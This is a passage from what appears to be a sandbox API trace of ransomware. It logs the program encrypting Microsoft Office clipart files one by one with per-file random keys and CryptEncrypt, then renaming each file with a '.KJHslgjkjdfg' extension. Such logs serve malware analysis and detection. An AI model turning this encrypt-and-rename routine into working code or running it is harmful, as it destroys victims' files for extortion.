lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0184.354] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0184.354] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0184.354] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0184.354] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0184.354] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0184.354] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.354] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x32b6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x32b6, lpOverlapped=0x0) returned 1 [0184.355] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x32c0, dwBufLen=0x32c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x32c0) returned 1 [0184.355] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.355] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x32c0, lpOverlapped=0x0) returned 1 [0184.355] CryptDestroyKey (hKey=0x9b6628) returned 1 [0184.355] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.355] SetEndOfFile (hFile=0x130) returned 1 [0184.358] GetProcessHeap () returned 0x990000 [0184.358] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0184.358] GetProcessHeap () returned 0x990000 [0184.358] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0184.358] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.kjhslgjkjdfg")) returned 1 [0184.360] CloseHandle (hObject=0x130) returned 1 [0184.360] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee332800, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee332800, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x25ee, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD19827_.WMF", cAlternateFileName="")) returned 1 [0184.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0184.551] GetProcessHeap () returned 0x990000 [0184.552] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0184.552] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0184.552] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0184.552] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0185.058] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0185.058] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0185.058] GetProcessHeap () returned 0x990000 [0185.058] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0185.058] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0185.058] CryptDestroyKey (hKey=0x9b6628) returned 1 [0185.058] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0185.058] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0185.059] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0185.059] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0185.059] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0185.059] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0185.059] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0185.059] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0185.059] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.059] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x25ee, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x25ee, lpOverlapped=0x0) returned 1 [0186.201] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x25f0, dwBufLen=0x25f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x25f0) returned 1 [0186.201] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.201] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x25f0, lpOverlapped=0x0) returned 1 [0186.201] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.201] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x26c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.202] SetEndOfFile (hFile=0x130) returned 1 [0186.203] GetProcessHeap () returned 0x990000 [0186.203] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0186.203] GetProcessHeap () returned 0x990000 [0186.203] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0186.203] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.kjhslgjkjdfg")) returned 1 [0186.209] CloseHandle (hObject=0x130) returned 1 [0186.210] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed01fb00, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed01fb00, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x2244, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD19828_.WMF", cAlternateFileName="")) returned 1 [0186.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0186.211] GetProcessHeap () returned 0x990000 [0186.211] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0186.211] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0186.211] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0186.211] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0186.214] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.214] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.214] GetProcessHeap () returned 0x990000 [0186.214] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0186.214] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0186.214] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.214] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0186.214] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.214] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0186.214] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0186.214] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0186.214] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.215] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.215] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.215] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.215] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2244, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2244, lpOverlapped=0x0) returned 1 [0186.216] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2250, dwBufLen=0x2250 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2250) returned 1 [0186.216] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.216] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2250, lpOverlapped=0x0) returned 1 [0186.216] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.216] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.216] SetEndOfFile (hFile=0x130) returned 1 [0186.219] GetProcessHeap () returned 0x990000 [0186.219] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0186.219] GetProcessHeap () returned 0x990000 [0186.219] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0186.219] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.kjhslgjkjdfg")) returned 1 [0186.222] CloseHandle (hObject=0x130) returned 1 [0186.222] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe58e2200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe58e2200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x3896, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD19986_.WMF", cAlternateFileName="")) returned 1 [0186.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0186.224] GetProcessHeap () returned 0x990000 [0186.224] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0186.224] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0186.224] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0186.224] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0186.226] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.226] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.226] GetProcessHeap () returned 0x990000 [0186.226] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0186.226] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0186.227] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.227] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0186.227] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.227] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0186.227] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0186.227] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0186.227] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.227] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.227] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.227] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.227] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3896, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3896, lpOverlapped=0x0) returned 1 [0186.228] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x38a0, dwBufLen=0x38a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x38a0) returned 1 [0186.229] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.229] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x38a0, lpOverlapped=0x0) returned 1 [0186.229] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.229] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3974, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.229] SetEndOfFile (hFile=0x130) returned 1 [0186.232] GetProcessHeap () returned 0x990000 [0186.232] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0186.232] GetProcessHeap () returned 0x990000 [0186.232] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0186.232] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.kjhslgjkjdfg")) returned 1 [0186.241] CloseHandle (hObject=0x130) returned 1 [0186.241] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1fa9b00, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1fa9b00, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD19988_.WMF", cAlternateFileName="")) returned 1 [0186.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0186.241] GetProcessHeap () returned 0x990000 [0186.241] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0186.241] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0186.241] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0186.242] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.242] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.242] GetProcessHeap () returned 0x990000 [0186.242] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0186.242] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0186.242] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.242] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0186.248] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.248] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0186.248] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0186.249] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0186.249] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.249] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.249] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.249] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.249] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4780, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4780, lpOverlapped=0x0) returned 1 [0186.250] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4780, dwBufLen=0x4780 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4780) returned 1 [0186.250] SetFilePointerEx (in: hFile=0x130, 